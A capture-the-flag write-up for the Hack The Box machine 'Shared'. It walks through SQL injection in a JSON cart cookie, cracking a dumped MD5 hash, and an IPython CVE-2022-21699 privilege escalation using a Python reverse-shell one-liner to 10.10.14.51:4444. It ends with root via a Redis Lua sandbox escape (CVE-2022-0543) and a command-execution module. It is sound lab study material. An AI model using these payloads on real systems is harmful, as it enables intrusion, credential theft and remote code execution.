Shared writeup
25 November, 2022 00:00 CET
INDEX
Enumeration
nmap -sV -p- -A 10.10.11.172
22/tcp open ssh OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0) | ssh-hostkey: | 3072 91:e8:35:f4:69:5f:c2:e2:0e:27:46:e2:a6:b6:d8:65 (RSA) | 256 cf:fc:c4:5d:84:fb:58:0b:be:2d:ad:35:40:9d:c3:51 (ECDSA) |_ 256 a3:38:6d:75:09:64:ed:70:cf:17:49:9a:dc:12:6d:11 (ED25519) 80/tcp open http nginx 1.18.0 |_http-title: Did not follow redirect to http://shared.htb |_http-server-header: nginx/1.18.0 443/tcp open ssl/http nginx 1.18.0 |_http-title: Did not follow redirect to https://shared.htb | tls-nextprotoneg: | h2 |_ http/1.1 | ssl-cert: Subject: commonName=*.shared.htb/organizationName=HTB/stateOrProvinceName=None/countryName=US | Not valid before: 2022-03-20T13:37:14 |_Not valid after: 2042-03-15T13:37:14 |_ssl-date: TLS randomness does not represent time | tls-alpn: | h2 |_ http/1.1 |_http-server-header: nginx/1.18.0 Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
- The site hosts prestashop version
1.7.X
, understood from here: https://stackoverflow.com/a/62383164/themes/classic/assets/css/theme.css
I try to study and execute the exploit: https://www.exploit-db.com/exploits/49410 → no way
gobuster dir -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u http://shared.htb -k -b "301, 404"
/api (Status: 401) [Size: 16] /Makefile (Status: 200) [Size: 88] /apis (Status: 401) [Size: 16] /apidocs (Status: 401) [Size: 16] /apilist (Status: 401) [Size: 16] /apiviewer (Status: 401) [Size: 16] /apiguide (Status: 401) [Size: 16] /apig (Status: 401) [Size: 16]
-
Looking in the source code from the browser you will notice how the
controller
parameter ofindex.php
allows you to navigate in the pages.An interesting page seems to be
http://shared.htb/index.php?controller=address
because it redirects tohttp://shared.htb/index.php?controller=authentication&back=addresses
asking for a login.I exclude the possibility of doing a bruteforce as I do not know neither the email nor the password.
-
Browsing the site and trying to make a purchase I found
http://checkout.shared.htb/
gobuster dir -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u http://checkout.shared.htb -k --exclude-length 3229
/assets (Status: 301) [Size: 169] [--> http://checkout.shared.htb/assets/] /css (Status: 301) [Size: 169] [--> http://checkout.shared.htb/css/] /config (Status: 301) [Size: 169] [--> http://checkout.shared.htb/config/]
-
shared.htb
to tellcheckout.shared.htb
which products have been placed in the cart use the cookie:
custom_cart=%7B%2253GG2EF8%22%3A%221%22%7D;
→ url decode →custom_cart={"53GG2EF8":"1"};
- Being something custom it will not be part of prestashop, so I mainly focus on this functionality. Maybe there is some injection? I do tests:
{"53GG2EF8":"1","YCS98E4A":"1"}
→ encode url → update cookie → I look at product listing oncheckout.shared.htb
→53GG2EF8
eYCS98E4A
{"53GG2EF8":"1","' OR '' = '":"1"}
→ encode url → update cookie → I look at product listing oncheckout.shared.htb
→53GG2EF8
e53GG2EF8
{"53GG2EF8":"1","'":"1"}
→ encode url → update cookie → I look at product listing oncheckout.shared.htb
→53GG2EF8
eNot Found
-
I immediately try using the hard way:
request_checkout.txt
GET / HTTP/2 Host: checkout.shared.htb Cookie: custom_cart=*; PrestaShop-5f7b4f27831ed69a86c734aa3c67dd4c=def50200eaac2613eabdb2f368d87aa21150d1684adce3302f020dc02b3f0bbcb57c83a4ab7f73e2446b92b4edd460590d3a39da9fdb290f2cb46420fd05cb5bfa80f1dad6c06a04b804cd469fa8a95358fc31920593be7aa7be4c54f5864fa8b007d4a3ca09fc1fc64e5458e193f79958943a71c4f5fe0dd85e1242acbd4f87949c29696b07969e1bbd73549bdd8906d42aaaa62d94cc3b91023b4331d586cd2d3608f0b2011036f6c2dcd2ed3f30fb658d5465e16346e2cba5181d8af017361ca2627488471a0ce99d91ecf4f43eb7fed1a4765f41d76718abeff46c659999e3b7653affe4e5bb4826b4f51139baace14f99f2f8b0d0c810fcc18413e6a470279de2d15e7f4c8fefc035ca1d412bffe5539507c77775836d6125 Cache-Control: max-age=0 Sec-Ch-Ua: "Chromium";v="103", ".Not/A)Brand";v="99" Sec-Ch-Ua-Mobile: ?0 Sec-Ch-Ua-Platform: "Linux" Dnt: 1 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.5060.134 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9 Sec-Gpc: 1
Testing the first field:
sqlmap -r request_checkout.txt --os='linux' --level=5 --risk=3 --random-agent --tamper=space2comment --prefix='%7B%22' --suffix='%22%3A%221%22%7D'
Testing the second field:
sqlmap -r request_checkout.txt --os='linux' --level=5 --risk=3 --random-agent --tamper=space2comment --prefix='%7B%22YCS98E4A%22%3A%22' --suffix='%22%7D'
I used the
--proxy='http://localhost:8080'
parameter to check from Burpsuite that the requests had the injection in the correct place.Unfortunately I was unable to get an injection, I make a few attempts without
sqlmap
-
{"' AND 1=2 UNION SELECT 1,@@version,3-- a":"1"}
→10.5.15-MariaDB-0+deb11u1
- I create other queries to better understand the situation:
- tables:
{"' UNION SELECT 1,GROUP_CONCAT(table_name),3 FROM INFORMATION_SCHEMA.TABLES -- ":"1"}
- users:
{"' UNION SELECT 1,GROUP_CONCAT(id,' ',username,' ',password),3 FROM user -- ":"1"}
1 james_mason fc895d4eddc2fc12f995e18c865cf273
- I identify the type of hash with
hash-identifier
HASH: fc895d4eddc2fc12f995e18c865cf273 Possible Hashs: [+] MD5 [+] Domain Cached Credentials - MD4(MD4(($pass)).(strtolower($username)))
Then I check the corresponding Hash-Mode number for
hashcat
hashcat --example-hashes | grep MD5 -B 4 -A 4
Hash mode #0 Name................: MD5 Category............: Raw Hash Slow.Hash...........: No Password.Len.Min....: 0 Password.Len.Max....: 256 -- Custom.Plugin.......: No Plaintext.Encoding..: ASCII, HEX
And finally I start to crack the MD5 hash with an offline dictionary attack:
hashcat -m 0 hash.txt /usr/share/wordlists/rockyou.txt
fc895d4eddc2fc12f995e18c865cf273:Soleil101
- tables:
-
I got the foothold so I login as:
ssh james_mason@shared.htb
-
Server side:
/var/www/checkout.shared.htb/index.php
if(isset($_COOKIE["custom_cart"])) { $custom_cart = json_decode($_COOKIE["custom_cart"], true); $i=0; foreach($custom_cart as $code => $qty) { $sql = "SELECT id, code, price from product where code='".$code."'"; // Prevent time-based sql injection if(strpos(strtolower($sql), "sleep") !== false || strpos(strtolower($sql), "benchmark") !== false) continue; $result = $conn->query($sql); ... } }
config/db.php
<?php define('DBHOST','localhost'); define('DBUSER','checkout'); define('DBPWD','a54$K_M4?DdT^HUk'); define('DBNAME','checkout'); ?>
-
Database side:
USE checkout;
select * from user;
+----+-------------+----------------------------------+ | id | username | password | +----+-------------+----------------------------------+ | 1 | james_mason | fc895d4eddc2fc12f995e18c865cf273 | +----+-------------+----------------------------------+
select * from product;
+----+----------+-------+ | id | code | price | +----+----------+-------+ | 1 | 53GG2EF8 | 23.90 | | 2 | YCS98E4A | 35.90 | | 3 | CRAAFTKP | 29.00 | | 4 | MFDSVHXQ | 29.00 | | 5 | SS5UMYLB | 29.00 | | 6 | 7DA8SKYP | 11.90 | | 7 | 2E6E8GXJ | 11.90 | | 8 | 562XZDU8 | 11.90 | | 9 | DW64K6JF | 18.90 | | 10 | B4GTLMT3 | 18.90 | | 11 | B4ATAMB4 | 18.90 | | 12 | 4HAR4XDK | 9.00 | | 13 | UE593T4N | 9.00 | | 14 | WH82F998 | 9.00 | | 15 | PPZV67J5 | 35.00 | | 16 | BTAPXNX4 | 12.90 | | 17 | 5P6UG55R | 12.90 | | 18 | 77W6QWLX | 12.90 | | 19 | 8LPULR6Q | 13.90 | +----+----------+-------+
Privesc user
- I run the usual script
linpeas.sh
interesting groupdeveloper
→find / -group developer 2>/dev/null
/opt/scripts_review
- Running
pspy64
I see that a cronjob is being executed:2022/09/11 05:59:01 CMD: UID=0 PID=82273 | /usr/sbin/CRON -f 2022/09/11 05:59:01 CMD: UID=0 PID=82275 | sleep 5 2022/09/11 05:59:01 CMD: UID=0 PID=82274 | /bin/bash /root/c.sh 2022/09/11 05:59:01 CMD: UID=1001 PID=82277 | /usr/bin/pkill ipython 2022/09/11 05:59:01 CMD: UID=1001 PID=82276 | /bin/sh -c /usr/bin/pkill ipython; cd /opt/scripts_review/ && /usr/local/bin/ipython 2022/09/11 05:59:01 CMD: UID=1001 PID=82278 | /usr/bin/python3 /usr/local/bin/ipython
-
The
ipython
command is run inside the/opt/scripts_review/
directory, it doesn’t make much sense without arguments.ipython
keeps its configurations inside the directory:ipython locate
/home/james_mason/.ipython
This part of the box reminds me of the OpenSource root flag: you had to work on the
.git
directory of the repo owned by the user in which thegit
command was run as root inside it.In this case it is more difficult because if you created a
.ipython
directory inside/opt/scripts_review/
it would be ignored by the user with id1001
(dan_smith
) because he has his own configuration ofipython
:/home/dan_smith/.ipython
-
There is a CVE for
ipython
at version8.0.0
→ https://github.com/ipython/ipython/security/advisories/GHSA-pq7m-3gw7-gq5xI try to run the exploit:
mkdir -p /opt/scripts_review/profile_default/startup && chmod -R 777 /opt/scripts_review/profile_default/ && echo "import socket,os,pty;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('10.10.14.51',4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn('/bin/bash')" > /opt/scripts_review/profile_default/startup/foo.py
bingo!
-
but why does it work?
In the patch you can see:
IPython/core/application.py
def _config_file_paths_default(self): return [os.getcwd()]
was changed to
def _config_file_paths_default(self): return []
IPython/core/profiledir.py
paths = [os.getcwd(), ipython_dir]
was changed to
paths = [ipython_dir]
The source code of
ipython
beforeFIX CVE-2022-21699
: https://github.com/ipython/ipython/tree/b8d7dfa8d78108f3f01486d9fa67b6841acb8f74I reproduce the exploit locally:
git clone https://github.com/ipython/ipython.git /home/user/Downloads/ipython/
cd /home/user/Downloads/ipython/
git reset --hard b8d7dfa8d78108f3f01486d9fa67b6841acb8f74
sudo pip3 install -e .
cd /home/user/Downloads/
mkdir test && cd test
nc -lnvp 4444
(another terminal)mkdir -p /home/user/Downloads/test/profile_default/startup && echo "import socket,os,pty;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('10.10.14.51',4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn('/bin/bash')" > /home/user/Downloads/test/profile_default/startup/foo.py
sudo ipython
So the function
find_profile_dir_by_name()
at this version returned in the list also theos.getcwd()
.It was also passed as input to the function
find_profile_dir_by_name()
the value ofget_ipython_dir()
that read$IPYTHONDIR
.The problem is that for both
james_mason
anddan_smith
it is empty, but even if it were set it would have less precedence thanos.getcwd()
: https://github.com/ipython/ipython/blob/23c328212ad01d846ec9998533ccdc5f5d17fbe9/IPython/core/profiledir.py#L203paths = [os.getcwd(), ipython_dir]
There is a discrepancy between what I have reproduced locally and the behavior in the box: if I don’t give permission
777
to theprofile_default
folder and toprofile_default/startup
it doesn’t work. Reason:File "/usr/local/lib/python3.9/dist-packages/IPython/core/profiledir.py", line 125, in check_security_dir self._mkdir(self.security_dir, 0o40700) File "/usr/local/lib/python3.9/dist-packages/IPython/core/profiledir.py", line 95, in _mkdir os.mkdir(path, mode) PermissionError: [Errno 13] Permission denied: '/opt/scripts_review/profile_default/security'
File "/usr/local/lib/python3.9/dist-packages/IPython/core/profiledir.py", line 121, in check_startup_dir shutil.copy(src, readme) File "/usr/lib/python3.9/shutil.py", line 418, in copy copyfile(src, dst, follow_symlinks=follow_symlinks) File "/usr/lib/python3.9/shutil.py", line 264, in copyfile with open(src, 'rb') as fsrc, open(dst, 'wb') as fdst: PermissionError: [Errno 13] Permission denied: '/opt/scripts_review/profile_default/startup/README'
The reason therefore is that
ipython
tries to create its own configuration files and fails if it does not have write permission.
Privesc root
-
I run the usual script
linpeas.sh
╔══════════╣ My user ╚ https://book.hacktricks.xyz/linux-hardening/privilege-escalation#users uid=1001(dan_smith) gid=1002(dan_smith) groups=1002(dan_smith),1001(developer),1003(sysadmin)
find / -group sysadmin 2>/dev/null
/usr/local/bin/redis_connector_dev
ls -al /usr/local/bin/redis_connector_dev
-rwxr-x--- 1 root sysadmin 5974154 Mar 20 09:41 /usr/local/bin/redis_connector_dev
- I run:
/usr/local/bin/redis_connector_dev
[+] Logging to redis instance using password... INFO command result: # Server redis_version:6.0.15 redis_git_sha1:00000000 redis_git_dirty:0 redis_build_id:4610f4c3acf7fb25 redis_mode:standalone os:Linux 5.10.0-16-amd64 x86_64 arch_bits:64 multiplexing_api:epoll atomicvar_api:atomic-builtin gcc_version:10.2.1 process_id:83354 run_id:b1d5c673b3d670f3fc567ccdc14c3a337ed297cc tcp_port:6379 uptime_in_seconds:6 uptime_in_days:0 hz:10 configured_hz:10 lru_clock:2043228 executable:/usr/bin/redis-server config_file:/etc/redis/redis.conf io_threads_active:0 <nil>
-
Manages to login to redis, then I unload the binary and start reversing it with ghidra. But first I look at the traffic with wireshark while trying to connect to a local redis instance:
4 0.000829298 ::1 ::1 TCP 125 35854 → 6379 [PSH, ACK] Seq=1 Ack=1 Win=65536 Len=37 TSval=513050482 TSecr=513050482 Frame 4: 125 bytes on wire (1000 bits), 125 bytes captured (1000 bits) on interface any, id 0 Linux cooked capture v1 Internet Protocol Version 6, Src: ::1, Dst: ::1 Transmission Control Protocol, Src Port: 35854, Dst Port: 6379, Seq: 1, Ack: 1, Len: 37 Data (37 bytes) Data: 2a 32 0d 0a 24 34 0d 0a 61 75 74 68 0d 0a 24 31 36 0d 0a 46 32 57 48 71 4a 55 7a 32 57 45 7a 3d 47 71 71 0d 0a [Length: 37]
in the
data
field it reads:*2 $4 auth $16 F2WHqJUz2WEz=Gqq
The last field could be the password, I look on the locally installed
redis-server
if the traffic matches:redis-cli -h 127.0.0.1 -p 6379 -a 'F2WHqJUz2WEz=Gqq'
8 1.889181379 127.0.0.1 127.0.0.1 TCP 105 46490 → 6379 [PSH, ACK] Seq=1 Ack=1 Win=65536 Len=37 TSval=1089735618 TSecr=1089735613 Frame 8: 105 bytes on wire (840 bits), 105 bytes captured (840 bits) on interface any, id 0 Linux cooked capture v1 Internet Protocol Version 4, Src: 127.0.0.1, Dst: 127.0.0.1 Transmission Control Protocol, Src Port: 46490, Dst Port: 6379, Seq: 1, Ack: 1, Len: 37 Data (37 bytes) Data: 2a 32 0d 0a 24 34 0d 0a 61 75 74 68 0d 0a 24 31 36 0d 0a 46 32 57 48 71 4a 55 7a 32 57 45 7a 3d 47 71 71 0d 0a [Length: 37]
In the
data
field it reads:*2 $4 auth $16 F2WHqJUz2WEz=Gqq
bingo!
I got the redis password, I log into the box:
redis-cli -h 127.0.0.1 -p 6379 -a 'F2WHqJUz2WEz=Gqq'
→ it works -
Enumeration of the content inside the redis server:
127.0.0.1:6379> INFO keyspace
# Keyspace
127.0.0.1:6379> keys *
(empty array)
127.0.0.1:6379> dbsize
(integer) 0
completely empty!
-
I google “redis privesc” and I found https://thesecmaster.com/how-to-fix-cve-2022-0543-a-critical-lua-sandbox-escape-vulnerability-in-redis/
-
From hacktricks: https://book.hacktricks.xyz/network-services-pentesting/6379-pentesting-redis#lua-sandbox-bypass and https://github.com/aodsec/CVE-2022-0543
-
Proof of concept: https://github.com/vulhub/vulhub/tree/master/redis/CVE-2022-0543
127.0.0.1:6379> info
# Server redis_version:6.0.15
vulnerable!
- Run the exploit:
eval 'local io_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_io"); local io = io_l(); local f = io.popen("id", "r"); local res = f:read("*a"); f:close(); return res' 0
"uid=0(root) gid=0(root) groups=0(root)\n"
-
-
Another method https://book.hacktricks.xyz/network-services-pentesting/6379-pentesting-redis#load-redis-module:
git clone https://github.com/n0b0dyCN/RedisModules-ExecuteCommand.git
- Compile it with
make
- I upload
module.so
on the/tmp/module.so
box with python http server redis-cli -h 127.0.0.1 -p 6379 -a 'F2WHqJUz2WEz=Gqq'
MODULE LOAD "/tmp/module.so"
(error) ERR Error loading the extension. Please check the server logs.
-
There is an error but the module was loaded anyway:
MODULE LIST
1) 1) "name" 2) "system" 3) "ver" 4) (integer) 1
system.exec "id"
"uid=0(root) gid=0(root) groups=0(root)\n"